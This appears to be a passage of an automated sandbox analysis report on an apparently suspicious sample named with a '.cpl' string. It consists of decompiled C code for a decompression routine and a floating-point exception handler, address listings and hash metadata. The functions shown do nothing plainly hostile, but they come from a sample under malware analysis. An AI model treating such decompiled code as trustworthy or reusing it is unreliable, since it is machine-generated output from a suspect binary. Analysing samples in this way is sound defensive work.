																		goto L119;
																	}
																	L98:
																	_t312 =  *(_t341 + 0x1c);
																	_t275 = _t323 & 0x00000007;
																	_t323 = _t323 >> 3;
																	_t276 = _t275 + 3;
																	 *(_t341 + 0x10) = _t323;
																	_t338 = _t338 - 3;
																	_t211 = _t312 + _t276;
																	 *(_t341 + 0x18) = _t211;
																	__eflags = _t211 -  *(_t341 + 0x28);
																	if(_t211 >  *(_t341 + 0x28)) {
																		__eflags = _t235;
																		if(_t235 == 0) {
																			goto L150;
																		} else {
																			goto L124;
																		}
																		do {
																			L124:
																			_t332 =  *(_t235 - 4);
																			L008787AE(_t235 - 8);
																			_t235 = _t332;
																			__eflags = _t332;
																		} while (_t332 != 0);
																		goto L150;
																	}
																	memset(_t341 + 0x3c + _t312 * 4, 0, _t276 << 2);
																	_t341 = _t341 + 0xc;
																	_t262 =  *(_t341 + 0x18);
																	goto L112;
																}
																_t323 = _t323 | _t210 << _t338;
																_t338 = _t338 + 8;
																__eflags = _t338;
																continue;
															}
															if(__eflags > 0) {
																L91:
																_t210 =  *_t306 & 0x000000ff;
																_t306 =  &(_t306[1]);
																 *0x8ad578 = _t306;
																goto L93;
															}
															__eflags = _t209 - _t307;
															if(_t209 < _t307) {
																goto L92;
															}
															goto L91;
														}
														goto L98;
													}
													__eflags = _t338 - 2;
													if(_t338 >= 2) {
														L84:
														_t315 =  *(_t341 + 0x1c);
														_t281 = _t323 & 0x00000003;
														_t323 = _t323 >> 2;
														_t282 = _t281 + 3;
														 *(_t341 + 0x10) = _t323;
														_t338 = _t338 - 2;
														_t217 = _t315 + _t282;
														 *(_t341 + 0x1c) = _t217;
														__eflags = _t217 -  *(_t341 + 0x28);
														if(_t217 >  *(_t341 + 0x28)) {
															__eflags = _t235;
															if(_t235 == 0) {
																goto L150;
															} else {
																goto L121;
															}
															do {
																L121:
																_t333 =  *(_t235 - 4);
																L008787AE(_t235 - 8);
																_t235 = _t333;
																__eflags = _t333;
															} while (_t333 != 0);
															goto L150;
														}
														memset(_t341 + 0x3c + _t315 * 4,  *(_t341 + 0x18), _t282 << 2);
														_t341 = _t341 + 0xc;
														_t262 =  *(_t341 + 0x1c);
														_t307 = 0;
														goto L113;
													}
													_t222 =  *0x8ad580; // 0x14df
													do {
														_t285 =  *0x8ad584; // 0x0
														_t222 = _t222 + 0xffffffff;
														 *0x8ad580 = _t222;
														asm("adc ecx, 0xffffffff");
														 *0x8ad584 = _t285;
														__eflags = _t285 - _t307;
														if(__eflags < 0) {
															L79:
															_t223 = E0086A34D(_t222, _t306);
															_t306 =  *0x8ad578; // 0x2e0c461
															_t286 = _t223;
															_t222 =  *0x8ad580; // 0x14df
															L80:
															 *(_t341 + 0x10) = _t286;
															__eflags = _t286 - 0xffffffff;
															if(_t286 == 0xffffffff) {
																__eflags = _t338;
																if(_t338 < 0) {
																	goto L119;
																}
																goto L84;
															}
															goto L81;
														}
														if(__eflags > 0) {
															L78:
															_t286 =  *_t306 & 0x000000ff;
															_t306 =  &(_t306[1]);
															 *0x8ad578 = _t306;
															goto L80;
														}
														__eflags = _t222 - _t307;
														if(_t222 < _t307) {
															goto L79;
														}
														goto L78;
														L81:
														_t287 = _t338;
														_t338 = _t338 + 8;
														 *(_t341 + 0x10) =  *(_t341 + 0x10) << _t287;
														_t323 = _t323 |  *(_t341 + 0x10);
														__eflags = _t338 - 2;
													} while (_t338 < 2);
													goto L84;
												}
												_t288 =  *(_t341 + 0x1c);
												 *(_t341 + 0x18) = _t172;
												 *(_t341 + 0x3c + _t288 * 4) = _t172;
												_t262 = _t288 + 1;
												goto L113;
											}
											_t186 =  *0x8ad580; // 0x14df
											do {
												_t263 =  *0x8ad584; // 0x0
												_t186 = _t186 + 0xffffffff;
												 *0x8ad580 = _t186;
												asm("adc ecx, 0xffffffff");
												 *0x8ad584 = _t263;
												__eflags = _t263 - _t307;
												if(__eflags < 0) {
													L65:
													_t187 = E0086A34D(_t186, _t306);
													_t306 =  *0x8ad578; // 0x2e0c461
													_t264 = _t187;
													_t186 =  *0x8ad580; // 0x14df
													L66:
													 *(_t341 + 0x10) = _t264;
													__eflags = _t264 - 0xffffffff;
													if(_t264 == 0xffffffff) {
														__eflags = _t338;
														if(_t338 < 0) {
															goto L143;
														}
														goto L70;
													}
													goto L67;
												}
												if(__eflags > 0) {
													L64:
													_t264 =  *_t306 & 0x000000ff;
													_t306 =  &(_t306[1]);
													 *0x8ad578 = _t306;
													goto L66;
												}
												__eflags = _t186 - _t307;
												if(_t186 < _t307) {
													goto L65;
												}
												goto L64;
												L67:
												_t265 = _t338;
												_t338 = _t338 + 8;
												 *(_t341 + 0x10) =  *(_t341 + 0x10) << _t265;
												_t323 = _t323 |  *(_t341 + 0x10);
												__eflags = _t338 -  *(_t341 + 0x24);
											} while (_t338 <  *(_t341 + 0x24));
											goto L70;
											L113:
											 *(_t341 + 0x1c) = _t262;
											__eflags = _t262 -  *(_t341 + 0x28);
										} while (_t262 <  *(_t341 + 0x28));
										__eflags = _t235;
										if(_t235 == 0) {
											L117:
											 *0x8ae7f4 = _t323;
											 *0x8ae7f8 = _t338;
											_t339 =  *(_t341 + 0x24);
											 *((intOrPtr*)(_t341 + 0x30)) = 9;
											_t191 = E0086A825(_t341 + 0x48, _t339, 0x101,  *0x8ae7e4,  *0x8ae7e8, _t341 + 0x30, _t341 + 0x24);
											__eflags =  *(_t341 + 0x24);
											_t234 = _t191;
											if( *(_t341 + 0x24) != 0) {
												__eflags = _t234;
												if(_t234 == 0) {
													 *(_t341 + 0x20) = 6;
													_t196 = E0086A825(_t341 + 0x48 + _t339 * 4,  *((intOrPtr*)(_t341 + 0x44)), _t307, 0x889010,  *0x8ae7ec, _t341 + 0x38, _t341 + 0x20);
													_t136 = _t196 - 1; // -1
													asm("sbb edi, edi");
													_t320 =  ~_t136 & _t196;
													__eflags =  *(_t341 + 0x20);
													if( *(_t341 + 0x20) != 0) {
														L134:
														__eflags = _t320;
														if(_t320 == 0) {
															_push( *(_t341 + 0x20));
															_t307 =  *(_t341 + 0x38);
															_push( *(_t341 + 0x28));
															_t235 =  *(_t341 + 0x34);
															_push(_t307);
															_push(_t235);
															_t177 = E0086AFB1();
															goto L142;
														}
														__eflags = _t320 - 1;
														if(_t320 != 1) {
															L138:
															_t197 =  *(_t341 + 0x2c);
															__eflags = _t197;
															if(_t197 == 0) {
																L140:
																return _t320;
															} else {
																goto L139;
															}
															do {
																L139:
																_t328 =  *(_t197 - 4);
																L008787AE(_t197 - 8);
																_t197 = _t328;
																__eflags = _t328;
															} while (_t328 != 0);
															goto L140;
														}
														L136:
														_t201 =  *(_t341 + 0x34);
														__eflags = _t201;
														if(_t201 == 0) {
															goto L138;
														} else {
															goto L137;
														}
														do {
															L137:
															_t329 =  *(_t201 - 4);
															L008787AE(_t201 - 8);
															_t201 = _t329;
															__eflags = _t329;
														} while (_t329 != 0);
														goto L138;
													}
													__eflags = _t339 - 0x101;
													if(_t339 <= 0x101) {
														goto L134;
													}
													_t320 = 1;
													goto L136;
												}
												__eflags = _t234 - 1;
												if(_t234 != 1) {
													L57:
													return _t234;
												}
												L128:
												_t268 =  *(_t341 + 0x2c);
												__eflags = _t268;
												if(_t268 == 0) {
													goto L57;
												} else {
													goto L129;
												}
												do {
													L129:
													_t330 =  *(_t268 - 4);
													L008787AE(_t268 - 8);
													_t268 = _t330;
													__eflags = _t330;
												} while (_t330 != 0);
												goto L57;
											}
											_t234 = 1;
											goto L128;
										} else {
											goto L115;
										}
										do {
											L115:
											_t331 =  *(_t235 - 4);
											L008787AE(_t235 - 8);
											_t235 = _t331;
											__eflags = _t331;
										} while (_t331 != 0);
										_t323 =  *(_t341 + 0x10);
										goto L117;
									}
									__eflags = _t234 - 1;
									if(_t234 != 1) {
										goto L57;
									}
									L55:
									_t289 =  *(_t341 + 0x2c);
									if(_t289 == 0) {
										goto L57;
									} else {
										goto L56;
									}
									do {
										L56:
										_t334 =  *(_t289 - 4);
										L008787AE(_t289 - 8);
										_t289 = _t334;
									} while (_t334 != 0);
									goto L57;
								}
								_t234 = 1;
								goto L55;
							} else {
								goto L36;
							}
							do {
								L36:
								if(_t338 >= 3) {
									goto L47;
								}
								_t227 =  *0x8ad584; // 0x0
								while(1) {
									_t322 = _t322 + 0xffffffff;
									 *0x8ad580 = _t322;
									asm("adc eax, 0xffffffff");
									 *0x8ad584 = _t227;
									_t353 = _t227 - _t307;
									if(_t353 < 0 || _t353 <= 0 && _t322 < _t307) {
										_t228 = E0086A34D(_t227, _t301);
										_t322 =  *0x8ad580; // 0x14df
										_t295 = _t228;
										_t301 =  *0x8ad578; // 0x2e0c461
										_t227 =  *0x8ad584; // 0x0
									} else {
										_t295 =  *_t301 & 0x000000ff;
										_t301 =  &(_t301[1]);
										 *0x8ad578 = _t301;
									}
									 *(_t341 + 0x10) = _t295;
									if(_t295 == 0xffffffff) {
										break;
									}
									_t296 = _t338;
									_t338 = _t338 + 8;
									 *(_t341 + 0x10) =  *(_t341 + 0x10) << _t296;
									_t233 = _t233 |  *(_t341 + 0x10);
									if(_t338 < 3) {
										continue;
									}
									goto L47;
								}
								__eflags = _t338;
								if(_t338 < 0) {
									goto L150;
								}
								L47:
								_t293 = _t233 & 0x00000007;
								_t233 = _t233 >> 3;
								_t338 = _t338 - 3;
								 *(_t341 + 0x10) = _t233;
								 *(_t341 + 0x3c +  *(0x889090 +  *(_t341 + 0x28) * 4) * 4) = _t293;
								_t251 =  *(_t341 + 0x28) + 1;
								 *(_t341 + 0x28) = _t251;
							} while (_t251 <  *(_t341 + 0x18));
							goto L50;
						}
						return 1;
					}
					goto L22;
				}
				goto L11;
			}

0x0086b4bd
0x0086b4ca
0x0086b4ce
0x0086b4d2
0x0086b4d7
0x0086b4dd
0x0086b4e0
0x0086b4e6
0x0086b4ec
0x0086b4f2
0x0086b54e
0x0086b4f9
0x0086b4fc
0x0086b502
0x0086b505
0x0086b50a
0x0086b50c
0x0086b520
0x0086b520
0x0086b525
0x0086b52b
0x0086b52d
0x0086b533
0x0086b50e
0x0086b50e
0x0086b514
0x0086b514
0x0086b517
0x0086b518
0x0086b510
0x0086b510
0x0086b512
0x00000000
0x00000000
0x00000000
0x00000000
0x0086b512
0x0086b50e
0x0086b538
0x0086b53c
0x0086b53f
0x0086b555
0x0086b557
0x0086bc3d
0x0086bc3f
0x00000000
0x0086bc3f
0x0086b541
0x0086b543
0x0086b547
0x0086b54b
0x0086b54b
0x00000000
0x0086b54b
0x0086b55d
0x0086b55f
0x0086b56b
0x0086b56e
0x0086b5c9
0x0086b574
0x0086b577
0x0086b57d
0x0086b580
0x0086b585
0x0086b587
0x0086b59b
0x0086b59b
0x0086b5a0
0x0086b5a6
0x0086b5a8
0x0086b5ae
0x0086b589
0x0086b589
0x0086b58f
0x0086b58f
0x0086b592
0x0086b593
0x0086b58b
0x0086b58b
0x0086b58d
0x00000000
0x00000000
0x00000000
0x00000000
0x0086b58d
0x0086b589
0x0086b5b3
0x0086b5b7
0x0086b5ba
0x0086b5d0
0x0086b5d2
0x00000000
0x00000000
0x0086b5bc
0x0086b5be
0x0086b5c2
0x0086b5c6
0x0086b5c6
0x00000000
0x0086b5c6
0x0086b5d8
0x0086b5da
0x0086b5e0
0x0086b5e3
0x0086b5e4
0x0086b5eb
0x0086b5ed
0x0086b5ed
0x0086b5f0
0x0086b5f6
0x0086b5f9
0x0086b5fe
0x0086b600
0x0086b614
0x0086b619
0x0086b61f
0x0086b621
0x0086b627
0x0086b608
0x0086b608
0x0086b60b
0x0086b60c
0x0086b60c
0x0086b62c
0x0086b633
0x00000000
0x00000000
0x0086b635
0x0086b637
0x0086b63a
0x0086b63e
0x0086b645
0x00000000
0x00000000
0x0086b647
0x0086b651
0x0086b651
0x00000000
0x0086b651
0x0086b649
0x0086b64b
0x00000000
0x00000000
0x00000000
0x0086b64b
0x0086b655
0x0086b657
0x0086b65d
0x0086b663
0x0086b667
0x0086b676
0x0086b67a
0x0086b689
0x0086b68b
0x0086b693
0x0086b73a
0x0086b73a
0x0086b741
0x0086b741
0x0086b742
0x0086b746
0x0086b749
0x00000000
0x00000000
0x0086b74f
0x0086b76d
0x0086b773
0x0086b77a
0x0086b77c
0x0086b7b4
0x0086b7b8
0x0086b7be
0x0086b7bf
0x0086b7c3
0x0086b7c7
0x0086b7cd
0x0086b7d1
0x0086b7d5
0x0086b7d5
0x0086b7d9
0x0086b845
0x0086b849
0x0086b84b
0x0086b850
0x0086b855
0x0086b857
0x0086b859
0x0086b85d
0x0086b860
0x0086b874
0x0086b927
0x0086b92a
0x0086ba12
0x0086ba12
0x0086ba15
0x00000000
0x00000000
0x0086b9c7
0x0086b9cc
0x0086b9d2
0x0086b9d5
0x0086b9da
0x0086b9dd
0x0086b9e3
0x0086b9e5
0x0086b9f9
0x0086b9f9
0x0086b9fe
0x0086ba04
0x0086ba04
0x0086ba07
0x0086ba19
0x0086ba1b
0x0086bad3
0x0086bad5
0x0086bbee
0x0086bbee
0x0086bbf2
0x0086bbf2
0x0086bbf4
0x0086bc09
0x0086bc09
0x0086bc0b
0x0086bc20
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bc0d
0x0086bc0d
0x0086bc0d
0x0086bc14
0x0086bc19
0x0086bc1c
0x0086bc1c
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bbf6
0x0086bbf6
0x0086bbf6
0x0086bbfd
0x0086bc02
0x0086bc05
0x0086bc05
0x00000000
0x0086bbf6
0x0086ba21
0x0086ba21
0x0086ba27
0x0086ba2a
0x0086ba2d
0x0086ba30
0x0086ba34
0x0086ba37
0x0086ba3a
0x0086ba3e
0x0086ba42
0x0086bc26
0x0086bc28
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bc2a
0x0086bc2a
0x0086bc2a
0x0086bc31
0x0086bc36
0x0086bc39
0x0086bc39
0x00000000
0x0086bc2a
0x0086ba4f
0x0086ba51
0x0086ba51
0x0086ba53
0x0086ba57
0x0086ba57
0x0086ba57
0x0086ba59
0x00000000
0x0086ba59
0x0086ba0d
0x0086ba0f
0x0086ba0f
0x00000000
0x0086ba0f
0x0086b9e7
0x0086b9ed
0x0086b9ed
0x0086b9f0
0x0086b9f1
0x00000000
0x0086b9f1
0x0086b9e9
0x0086b9eb
0x00000000
0x00000000
0x00000000
0x0086b9eb
0x00000000
0x0086ba17
0x0086b97d
0x0086b97d
0x0086b980
0x00000000
0x00000000
0x0086b932
0x0086b937
0x0086b93d
0x0086b940
0x0086b945
0x0086b948
0x0086b94e
0x0086b950
0x0086b964
0x0086b964
0x0086b969
0x0086b96f
0x0086b96f
0x0086b972
0x0086b984
0x0086b986
0x00000000
0x00000000
0x0086b98c
0x0086b98c
0x0086b992
0x0086b995
0x0086b998
0x0086b99b
0x0086b99f
0x0086b9a2
0x0086b9a5
0x0086b9a9
0x0086b9ad
0x0086bafb
0x0086bafd
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bb03
0x0086bb03
0x0086bb03
0x0086bb0a
0x0086bb0f
0x0086bb12
0x0086bb12
0x00000000
0x0086bb16
0x0086b9bc
0x0086b9bc
0x0086b9be
0x00000000
0x0086b9be
0x0086b978
0x0086b97a
0x0086b97a
0x00000000
0x0086b97a
0x0086b952
0x0086b958
0x0086b958
0x0086b95b
0x0086b95c
0x00000000
0x0086b95c
0x0086b954
0x0086b956
0x00000000
0x00000000
0x00000000
0x0086b956
0x00000000
0x0086b982
0x0086b87a
0x0086b87d
0x0086b8e8
0x0086b8e8
0x0086b8ee
0x0086b8f1
0x0086b8f4
0x0086b8f7
0x0086b8fb
0x0086b8fe
0x0086b901
0x0086b905
0x0086b909
0x0086badb
0x0086badd
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bae3
0x0086bae3
0x0086bae3
0x0086baea
0x0086baef
0x0086baf2
0x0086baf2
0x00000000
0x0086baf6
0x0086b91a
0x0086b91a
0x0086b91c
0x0086b920
0x00000000
0x0086b920
0x0086b87f
0x0086b884
0x0086b884
0x0086b88a
0x0086b88d
0x0086b892
0x0086b895
0x0086b89b
0x0086b89d
0x0086b8b1
0x0086b8b1
0x0086b8b6
0x0086b8bc
0x0086b8be
0x0086b8c3
0x0086b8c3
0x0086b8c7
0x0086b8ca
0x0086b8e0
0x0086b8e2
0x00000000
0x00000000
0x00000000
0x0086b8e2
0x00000000
0x0086b8ca
0x0086b89f
0x0086b8a5
0x0086b8a5
0x0086b8a8
0x0086b8a9
0x00000000
0x0086b8a9
0x0086b8a1
0x0086b8a3
0x00000000
0x00000000
0x00000000
0x0086b8cc
0x0086b8cc
0x0086b8ce
0x0086b8d1
0x0086b8d5
0x0086b8d9
0x0086b8d9
0x00000000
0x0086b8de
0x0086b862
0x0086b866
0x0086b86a
0x0086b86e
0x00000000
0x0086b86e
0x0086b7db
0x0086b7e0
0x0086b7e0
0x0086b7e6
0x0086b7e9
0x0086b7ee
0x0086b7f1
0x0086b7f7
0x0086b7f9
0x0086b80d
0x0086b80d
0x0086b812
0x0086b818
0x0086b81a
0x0086b81f
0x0086b81f
0x0086b823
0x0086b826
0x0086b83d
0x0086b83f
0x00000000
0x00000000
0x00000000
0x0086b83f
0x00000000
0x0086b826
0x0086b7fb
0x0086b801
0x0086b801
0x0086b804
0x0086b805
0x00000000
0x0086b805
0x0086b7fd
0x0086b7ff
0x00000000
0x00000000
0x00000000
0x0086b828
0x0086b828
0x0086b82a
0x0086b82d
0x0086b831
0x0086b835
0x0086b835
0x00000000
0x0086ba5d
0x0086ba5d
0x0086ba61
0x0086ba61
0x0086ba6b
0x0086ba6d
0x0086ba86
0x0086ba8a
0x0086ba95
0x0086ba9b
0x0086baaf
0x0086bac0
0x0086bac5
0x0086baca
0x0086bacc
0x0086bb1b
0x0086bb1d
0x0086bb50
0x0086bb76
0x0086bb7b
0x0086bb80
0x0086bb82
0x0086bb84
0x0086bb89
0x0086bb94
0x0086bb94
0x0086bb96
0x0086bbd7
0x0086bbdb
0x0086bbdf
0x0086bbe3
0x0086bbe7
0x0086bbe8
0x0086bbe9
0x00000000
0x0086bbe9
0x0086bb98
0x0086bb9b
0x0086bbb8
0x0086bbb8
0x0086bbbc
0x0086bbbe
0x0086bbd3
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bbc0
0x0086bbc0
0x0086bbc0
0x0086bbc7
0x0086bbcc
0x0086bbcf
0x0086bbcf
0x00000000
0x0086bbc0
0x0086bb9d
0x0086bb9d
0x0086bba1
0x0086bba3
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bba5
0x0086bba5
0x0086bba5
0x0086bbac
0x0086bbb1
0x0086bbb4
0x0086bbb4
0x00000000
0x0086bba5
0x0086bb8b
0x0086bb8d
0x00000000
0x00000000
0x0086bb91
0x00000000
0x0086bb91
0x0086bb1f
0x0086bb22
0x0086b79e
0x00000000
0x0086b79e
0x0086bb28
0x0086bb28
0x0086bb2c
0x0086bb2e
0x00000000
0x00000000
0x00000000
0x00000000
0x0086bb34
0x0086bb34
0x0086bb34
0x0086bb3b
0x0086bb41
0x0086bb43
0x0086bb43
0x00000000
0x0086bb47
0x0086bad0
0x00000000
0x00000000
0x00000000
0x00000000
0x0086ba6f
0x0086ba6f
0x0086ba6f
0x0086ba76
0x0086ba7b
0x0086ba7e
0x0086ba7e
0x0086ba82
0x00000000
0x0086ba82
0x0086b77e
0x0086b781
0x00000000
0x00000000
0x0086b783
0x0086b783
0x0086b789
0x00000000
0x00000000
0x00000000
0x00000000
0x0086b78b
0x0086b78b
0x0086b78b
0x0086b792
0x0086b798
0x0086b79a
0x00000000
0x0086b78b
0x0086b777
0x00000000
0x00000000
0x00000000
0x00000000
0x0086b699
0x0086b699
0x0086b69c
0x00000000
0x00000000
0x0086b69e
0x0086b6a3
0x0086b6a3
0x0086b6a6
0x0086b6ac
0x0086b6af
0x0086b6b4
0x0086b6b6
0x0086b6ca
0x0086b6cf
0x0086b6d5
0x0086b6d7
0x0086b6dd
0x0086b6be
0x0086b6be
0x0086b6c1
0x0086b6c2
0x0086b6c2
0x0086b6e2
0x0086b6e9
0x00000000
0x00000000
0x0086b6eb
0x0086b6ed
0x0086b6f0
0x0086b6f4
0x0086b6fb
0x00000000
0x00000000
0x00000000
0x0086b6fd
0x0086b6ff
0x0086b701
0x00000000
0x00000000
0x0086b707
0x0086b70d
0x0086b710
0x0086b713
0x0086b716
0x0086b721
0x0086b729
0x0086b72a
0x0086b72e
0x00000000
0x0086b738
0x0086bc4a
0x0086bc4a
0x00000000
0x0086b5ce
0x00000000

Strings

vpgy.cpl, xrefs: 0086B4BA

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID: vpgy.cpl
API String ID: 0-1661064184
Opcode ID: 584092454d258b05f91a5b97b216d94000713dd66dbd3a2288679b04fee6de5f
Instruction ID: 1804e9c35ba81935ca41166cb8b3cc402d022df00504dc2a5f9f5586b4b62194
Opcode Fuzzy Hash: 584092454d258b05f91a5b97b216d94000713dd66dbd3a2288679b04fee6de5f
Instruction Fuzzy Hash: 1022E2719043158FD718DF68DC9052EBBE5FB8536CF260A2DE8A2D7790E730D9849B82

Uniqueness

Uniqueness Score: -1.00%

Function 00886384 Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00886384(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E00883CD2(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E00883C38(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x00886392
0x00886399
0x0088639e
0x008863a4
0x008863a7
0x008863ad
0x008863b2
0x008863b7
0x008863b7
0x008863bd
0x008863c2
0x008863c7
0x008863c7
0x008863ce
0x008863d3
0x008863d8
0x008863d8
0x008863df
0x008863e4
0x008863e9
0x008863e9
0x008863f0
0x008863f5
0x008863fa
0x008863fa
0x00886402
0x00886412
0x00886424
0x00886436
0x00886449
0x0088645b
0x00886463
0x00886468
0x0088646d
0x0088646d
0x00886474
0x00886479
0x00886479
0x00886480
0x00886485
0x00886485
0x0088648c
0x00886491
0x00886491
0x00886498
0x0088649d
0x0088649d
0x008864a7
0x008864a9
0x008864e3
0x008864ab
0x008864b0
0x008864d4
0x008864dc
0x008864d0
0x008864d0
0x008864e6
0x008864ed
0x008864ef
0x00886511
0x00886519
0x0088651c
0x0088651c
0x0088651e
0x0088651e
0x00886529
0x0088652f
0x00886534
0x0088653b
0x00886575
0x00886580
0x00886586
0x00886589
0x0088658c
0x00886598
0x008865a0
0x0088653d
0x00886540
0x0088654c
0x00886552
0x00886558
